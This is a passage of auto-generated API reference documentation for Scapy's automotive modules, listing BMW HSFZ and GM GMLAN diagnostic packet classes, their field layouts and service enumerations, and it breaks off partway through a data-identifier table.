prog_status_enum = {1: 'signature check and programming-dependencies check passed', 2: 'software entry invalid or programming-dependencies check failed', 3: 'software entry incompatible to hardware entry', 4: 'software entry incompatible with other software entry'}

	








	
class scapy.contrib.automotive.bmw.definitions.SVK_DateField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L247-L250]

	Bases: LEThreeBytesField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L248-L250]

	








	
class scapy.contrib.automotive.bmw.definitions.SVK_Entry(_pkt, /, *, processClass=0, svk_id=b'', mainVersion=0, subVersion=0, patchVersion=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L253-L314]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L313-L314]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  PROCESSCLASS |                     SVK ID                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  MAINVERSION  |   SUBVERSION  |  PATCHVERSION |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SVK_Entry                          


SVK_Entry fields






	processClass

	ByteEnumField

	0



	svk_id

	XStrFixedLenField

	b''



	mainVersion

	ByteField

	0



	subVersion

	ByteField

	0



	patchVersion

	ByteField

	0











	
process_classes = {1: 'HWEL', 2: 'HWAP', 3: 'HWFR', 4: 'GWTB', 5: 'CAFD', 6: 'BTLD', 7: 'FLSL', 8: 'SWFL', 9: 'SWFF', 10: 'SWPF', 11: 'ONPS', 12: 'IBAD', 13: 'SWFK', 15: 'FAFP', 16: 'FCFA', 26: 'TLRT', 27: 'TPRG', 28: 'BLUP', 29: 'FLUP', 160: 'ENTD', 161: 'NAVD', 162: 'FCFN', 192: 'SWUP', 193: 'SWIP'}

	HWEL - Hardware (Elektronik) - Hardware (Electronics)
HWAP - Hardwareauspraegung - Hardware Configuration
HWFR - Hardwarefarbe - Hardware Color
CAFD - Codierdaten - Coding Data
BTLD - Bootloader - Bootloader
SWFL - Software ECU Speicherimage - Software ECU Storage Image
SWFF - Flash File Software - Flash File Software
SWPF - Pruefsoftware - Testing Software
ONPS - Onboard Programmiersystem - Onboard Programming System
FAFP - FA2FP - FA2FP
TLRT - Temporaere Loeschroutine - Temporary Deletion Routine
TPRG - Temporaere Programmierroutine - Temporary Programming Routine
FLSL - Flashloader Slave - Flashloader Slave
IBAD - Interaktive Betriebsanleitung Daten - Interactive Operating Manual Data
FCFA - Freischaltcode Fahrzeug-Auftrag - Vehicle Order Unlock Code
BLUP - Bootloader-Update Applikation - Bootloader Update Application
FLUP - Flashloader-Update Applikation - Flashloader Update Application
SWUP - Software-Update Package - Software Update Package
SWIP - Index Software-Update Package - Software Update Package Index
ENTD - Entertainment Daten - Entertainment Data
NAVD - Navigation Daten - Navigation Data
FCFN - Freischaltcode Funktion - Function Unlock Code
GWTB - Gateway-Tabelle - Gateway Table
SWFK - BEGU: Detaillierung auf SWE-Ebene - BEGU: Detailing at SWE Level










	
class scapy.contrib.automotive.bmw.definitions.UDS2S_REQ(_pkt, /, *, DS2ECUAddress=0, DS2requestLength=0, DS2ControlByte=0, DS2requestParameters=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L234-L240]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DS2ECUADDRESS |DS2REQUESTLENGT| DS2CONTROLBYTE|DS2REQUESTPARAM|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. UDS2S_REQ                          


UDS2S_REQ fields






	DS2ECUAddress

	ByteField

	0



	DS2requestLength

	ByteField

	0



	DS2ControlByte

	ByteField

	0



	DS2requestParameters

	StrField

	0















	
class scapy.contrib.automotive.bmw.definitions.WDBLI_REQ(_pkt, /, *, recordLocalIdentifier=0, recordValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L158-L162]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|          RECORDVALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WDBLI_REQ                          


WDBLI_REQ fields






	recordLocalIdentifier

	ByteEnumField

	0



	recordValue

	StrField

	b''















	
class scapy.contrib.automotive.bmw.definitions.WEBSERVER(_pkt, /, *, enable=1, password=66051)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L412-L416]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ENABLE    |                    PASSWORD                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. WEBSERVER                          


WEBSERVER fields






	enable

	ByteField

	1



	password

	ThreeBytesField

	66051

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.bmw.enumerator


	
class scapy.contrib.automotive.bmw.enumerator.BMW_DevJobEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/enumerator.py#L22-L34]

	Bases: UDS_Enumerator








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.bmw.hsfz


	
class scapy.contrib.automotive.bmw.hsfz.HSFZ(_pkt, /, *, length=None, type=1, src=0, dst=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L41-L68]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L57-L59]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |      SRC      |      DST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. HSFZ                             


HSFZ fields






	length

	IntField

	None



	type

	ShortEnumField

	1



	src

	XByteField

	0



	dst

	XByteField

	0











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L51-L55]

	




	
payload_guess

	Possible sublayers:
UDS






	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L61-L68]

	This will set the LenField ‘length’ to the correct value.










	
class scapy.contrib.automotive.bmw.hsfz.HSFZSocket(ip: str = '127.0.0.1', port: int = 6801)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L80-L110]

	Bases: StreamSocket


	
recv(x: int | None = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L92-L110]

	








	
class scapy.contrib.automotive.bmw.hsfz.UDS_HSFZSocket(src: int, dst: int, ip: str = '127.0.0.1', port: int = 6801, basecls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.contrib.automotive.uds.UDS'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L113-L151]

	Bases: HSFZSocket


	
recv(x: int | None = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L145-L151]

	




	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L122-L143]

	








	
scapy.contrib.automotive.bmw.hsfz.hsfz_scan(ip: str, scan_range: Iterable[int] = range(0, 256), src: int = 244, timeout: int | float = 0.1, verbose: bool = True) → List[UDS_HSFZSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/hsfz.py#L154-L191]

	Helper function to scan for HSFZ endpoints.

Example

>>> sockets = hsfz_scan("192.168.0.42")






	Parameters:

	
	ip – IPv4 address of target to scan


	scan_range – Range for HSFZ destination address


	src – HSFZ source address, used during the scan


	timeout – Timeout for each request


	verbose – Show information during scan, if True






	Returns:

	A list of open UDS_HSFZSockets












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm package

Package of contrib automotive gm specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.gm.gmlan

	scapy.contrib.automotive.gm.gmlan_ecu_states

	scapy.contrib.automotive.gm.gmlan_logging

	scapy.contrib.automotive.gm.gmlan_scanner

	scapy.contrib.automotive.gm.gmlanutils









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.gm.gmlan


	
class scapy.contrib.automotive.gm.gmlan.GMLAN(_pkt, /, *, service=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L54-L131]

	Bases: ISOTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L115-L126]

	




	
static determine_len(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L55-L66]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SERVICE    |
+-+-+-+-+-+-+-+-+

                            Fig. GMLAN                            


GMLAN fields






	service

	XByteEnumField

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L128-L131]

	




	
payload_guess

	Possible sublayers:
GMLAN_DCPR, GMLAN_DC, GMLAN_DDMPR, GMLAN_DDM, GMLAN_DPBAPR, GMLAN_DPBA, GMLAN_IDO, GMLAN_NR, GMLAN_PM, GMLAN_RDBIPR, GMLAN_RDBI, GMLAN_RDBPIPR, GMLAN_RDBPI, GMLAN_RDBPKTI, GMLAN_RDI, GMLAN_RD, GMLAN_RFRDPR, GMLAN_RFRD, GMLAN_RMBAPR, GMLAN_RMBA, GMLAN_RPSPR, GMLAN_SAPR, GMLAN_SA, GMLAN_TD, GMLAN_WDBIPR, GMLAN_WDBI






	
services = {4: 'ClearDiagnosticInformation', 16: 'InitiateDiagnosticOperation', 18: 'ReadFailureRecordData', 26: 'ReadDataByIdentifier', 32: 'ReturnToNormalOperation', 34: 'ReadDataByParameterIdentifier', 35: 'ReadMemoryByAddress', 39: 'SecurityAccess', 40: 'DisableNormalCommunication', 44: 'DynamicallyDefineMessage', 45: 'DefinePIDByAddress', 52: 'RequestDownload', 54: 'TransferData', 59: 'WriteDataByIdentifier', 62: 'TesterPresent', 68: 'ClearDiagnosticInformationPositiveResponse', 80: 'InitiateDiagnosticOperationPositiveResponse', 82: 'ReadFailureRecordDataPositiveResponse', 90: 'ReadDataByIdentifierPositiveResponse', 96: 'ReturnToNormalOperationPositiveResponse', 98: 'ReadDataByParameterIdentifierPositiveResponse', 99: 'ReadMemoryByAddressPositiveResponse', 103: 'SecurityAccessPositiveResponse', 104: 'DisableNormalCommunicationPositiveResponse', 108: 'DynamicallyDefineMessagePositiveResponse', 109: 'DefinePIDByAddressPositiveResponse', 116: 'RequestDownloadPositiveResponse', 118: 'TransferDataPositiveResponse', 123: 'WriteDataByIdentifierPositiveResponse', 126: 'TesterPresentPositiveResponse', 127: 'NegativeResponse', 162: 'ReportProgrammingState', 165: 'ProgrammingMode', 169: 'ReadDiagnosticInformation', 170: 'ReadDataByPacketIdentifier', 174: 'DeviceControl', 226: 'ReportProgrammingStatePositiveResponse', 229: 'ProgrammingModePositiveResponse', 233: 'ReadDiagnosticInformationPositiveResponse', 234: 'ReadDataByPacketIdentifierPositiveResponse', 238: 'DeviceControlPositiveResponse'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DC(_pkt, /, *, CPIDNumber=0, CPIDControlBytes=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L697-L702]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CPIDNUMBER  |                CPIDCONTROLBYTES               |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_DC                           


GMLAN_DC fields






	CPIDNumber

	XByteField

	0



	CPIDControlBytes

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DCPR(_pkt, /, *, CPIDNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L708-L716]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L714-L716]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CPIDNUMBER  |
+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_DCPR                          


GMLAN_DCPR fields






	CPIDNumber

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DDM(_pkt, /, *, DPIDIdentifier=0, PIDData=b'\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L472-L477]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DPIDIDENTIFIER|            PIDDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_DDM                          


GMLAN_DDM fields






	DPIDIdentifier

	XByteField

	0



	PIDData

	StrField

	b'\x00\x00'















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DDMPR(_pkt, /, *, DPIDIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L483-L491]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L489-L491]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DPIDIDENTIFIER|
+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_DDMPR                         


GMLAN_DDMPR fields






	DPIDIdentifier

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DPBA(_pkt, /, *, parameterIdentifier=0, memoryAddress=None, memorySize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L498-L513]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PARAMETERIDENTIFIER      |         MEMORYADDRESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |   MEMORYSIZE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_DPBA                          


GMLAN_DPBA fields






	parameterIdentifier

	XShortField

	0



	memoryAddress

	MultipleTypeField (XShortField, X3BytesField, XIntField, XIntField)

	0



	memorySize

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DPBAPR(_pkt, /, *, parameterIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L519-L527]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L525-L527]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PARAMETERIDENTIFIER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_DPBAPR                         


GMLAN_DPBAPR fields






	parameterIdentifier

	XShortField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_DTC(_pkt, /, *, failureRecordNumber=0, DTCHighByte=0, DTCLowByte=0, DTCFailureType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L150-L160]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L159-L160]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FAILURERECORDNU|  DTCHIGHBYTE  |   DTCLOWBYTE  | DTCFAILURETYPE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_DTC                          


GMLAN_DTC fields






	failureRecordNumber

	XByteField

	0



	DTCHighByte

	XByteField

	0



	DTCLowByte

	XByteField

	0



	DTCFailureType

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_IDO(_pkt, /, *, subfunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L135-L143]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |
+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_IDO                          


GMLAN_IDO fields






	subfunction

	ByteEnumField

	0











	
subfunctions = {2: 'disableAllDTCs', 3: 'enableDTCsDuringDevCntrl', 4: 'wakeUpLinks'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_NR(_pkt, /, *, requestServiceId=0, returnCode=0, deviceControlLimitExceeded=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L723-L751]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L748-L751]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|REQUESTSERVICEI|   RETURNCODE  |   DEVICECONTROLLIMITEXCEEDED  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_NR                           


GMLAN_NR fields






	requestServiceId

	XByteEnumField

	0



	returnCode

	MayEnd

	0



	deviceControlLimitExceeded

	ShortField

	0











	
negativeResponseCodes = {17: 'ServiceNotSupported', 18: 'SubFunctionNotSupported', 34: 'ConditionsNotCorrectOrRequestSequenceError', 49: 'RequestOutOfRange', 53: 'InvalidKey', 54: 'ExceedNumberOfAttempts', 55: 'RequiredTimeDelayNotExpired', 120: 'RequestCorrectlyReceived-ResponsePending', 129: 'SchedulerFull', 131: 'VoltageOutOfRange', 133: 'GeneralProgrammingFailure', 137: 'DeviceTypeError', 153: 'ReadyForDownload-DTCStored', 227: 'DeviceControlLimitsExceeded'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_PM(_pkt, /, *, subfunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L630-L639]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |
+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_PM                           


GMLAN_PM fields






	subfunction

	ByteEnumField

	0











	
subfunctions = {1: 'requestProgrammingMode', 2: 'requestProgrammingMode_HighSpeed', 3: 'enableProgrammingMode'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RD(_pkt, /, *, dataFormatIdentifier=0, memorySize=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L534-L548]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAFORMATIDENT|                   MEMORYSIZE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_RD                           


GMLAN_RD fields






	dataFormatIdentifier

	XByteField

	0



	memorySize

	MultipleTypeField (XShortField, X3BytesField, XIntField, XIntField)

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDBI(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L219-L308]

	Bases: Packet


	
aliastypes

	




	
dataIdentifiers = {144: '$90: VehicleIdentificationNumber (VIN)', 146: '$92: SystemSupplierId (SYSSUPPID)', 151: '$97: SystemNameOrEngineType (SNOET)', 152: '$98: RepairShopCodeOrTesterSerialNumber (RSCOTSN)', 153: '$99: ProgrammingDate (PD)', 154: '$9a: DiagnosticDataIdentifier (DDI)', 155: '$9b: XmlConfigurationCompatibilityIdentifier (XMLCCID)', 156: '$9C: XmlDataFilePartNumber (XMLDFPN)', 157: '$9D: XmlDataFileAlphaCode (XMLDFAC)', 159: '$9F: PreviousStoredRepairShopCodeOrTesterSerialNumbers (PSRSCOTSN)', 160: '$A0: manufacturers_enable_counter (MEC)', 161: '$A1: ECUConfigurationOrCustomizationData (ECUCOCGD) 1', 162: '$A2: ECUConfigurationOrCustomizationData (ECUCOCGD) 2', 163: '$A3: ECUConfigurationOrCustomizationData (ECUCOCGD) 3', 164: '$A4: ECUConfigurationOrCustomizationData (ECUCOCGD) 4', 165: '$A5: ECUConfigurationOrCustomizationData (ECUCOCGD) 5', 166: '$A6: ECUConfigurationOrCustomizationData (ECUCOCGD) 6', 167: '$A7: ECUConfigurationOrCustomizationData (ECUCOCGD) 7', 168: '$A8: ECUConfigurationOrCustomizationData (ECUCOCGD) 8', 176: '$B0: ECUDiagnosticAddress (ECUADDR)', 177: '$B1: ECUFunctionalSystemsAndVirtualDevices (ECUFSAVD)', 178: '$B2: GM ManufacturingData (GMMD)', 179: '$B3: Data Universal Numbering System Identification (DUNS)', 180: '$B4: Manufacturing Traceability Characters (MTC)', 181: '$B5: GM BroadcastCode (GMBC)', 182: '$B6: GM Target Vehicle (GMTV)', 183: '$B7: GM Software Usage Description (GMSUD)', 184: '$B8: GM Bench Verification Information (GMBVI)', 185: '$B9: Subnet_Config_List_HighSpeed (SCLHS)', 186: '$BA: Subnet_Config_List_LowSpeed (SCLLS)', 187: '$BB: Subnet_Config_List_MidSpeed (SCLMS)', 188: '$BC: Subnet_Config_List_NonCan 1 (SCLNC 1)', 189: '$BD: Subnet_Config_List_NonCan 2 (SCLNC 2)', 190: '$BE: Subnet_Config_List_LIN (SCLLIN)', 191: '$BF: Subnet_Config_List_GMLANChassisExpansionBus (SCLGCEB)', 192: '$C0: BootSoftwarePartNumber (BSPN)', 193: '$C1: SoftwareModuleIdentifier (SWMI) 01', 194: '$C2: SoftwareModuleIdentifier (SWMI) 02', 195: '$C3: SoftwareModuleIdentifier (SWMI) 03', 196: '$C4: SoftwareModuleIdentifier (SWMI) 04', 197: '$C5: SoftwareModuleIdentifier (SWMI) 05', 198: '$C6: SoftwareModuleIdentifier (SWMI) 06', 199: '$C7: SoftwareModuleIdentifier (SWMI) 07', 200: '$C8: SoftwareModuleIdentifier (SWMI) 08', 201: '$C9: SoftwareModuleIdentifier (SWMI) 09', 202: '$CA: SoftwareModuleIdentifier (SWMI) 10', 203: '$CB: EndModelPartNumber', 204: '$CC: BaseModelPartNumber (BMPN)', 208: '$D0: BootSoftwarePartNumberAlphaCode', 209: '$D1: SoftwareModuleIdentifierAlphaCode (SWMIAC) 01', 210: '$D2: SoftwareModuleIdentifierAlphaCode (SWMIAC) 02', 211: '$D3: SoftwareModuleIdentifierAlphaCode (SWMIAC) 03', 212: '$D4: SoftwareModuleIdentifierAlphaCode (SWMIAC) 04', 213: '$D5: SoftwareModuleIdentifierAlphaCode (SWMIAC) 05', 214: '$D6: SoftwareModuleIdentifierAlphaCode (SWMIAC) 06', 215: '$D7: SoftwareModuleIdentifierAlphaCode (SWMIAC) 07', 216: '$D8: SoftwareModuleIdentifierAlphaCode (SWMIAC) 08', 217: '$D9: SoftwareModuleIdentifierAlphaCode (SWMIAC) 09', 218: '$DA: SoftwareModuleIdentifierAlphaCode (SWMIAC) 10', 219: '$DB: EndModelPartNumberAlphaCode', 220: '$DC: BaseModelPartNumberAlphaCode', 221: '$DD: SoftwareModuleIdentifierDataIdentifiers (SWMIDID)', 222: '$DE: GMLANIdentificationData (GMLANID)', 223: '$DF: ECUOdometerValue (ECUODO)', 224: '$E0: VehicleLevelDataRecord (VLDR) 0', 225: '$E1: VehicleLevelDataRecord (VLDR) 1', 226: '$E2: VehicleLevelDataRecord (VLDR) 2', 227: '$E3: VehicleLevelDataRecord (VLDR) 3', 228: '$E4: VehicleLevelDataRecord (VLDR) 4', 229: '$E5: VehicleLevelDataRecord (VLDR) 5', 230: '$E6: VehicleLevelDataRecord (VLDR) 6', 231: '$E7: VehicleLevelDataRecord (VLDR) 7', 232: '$E8: 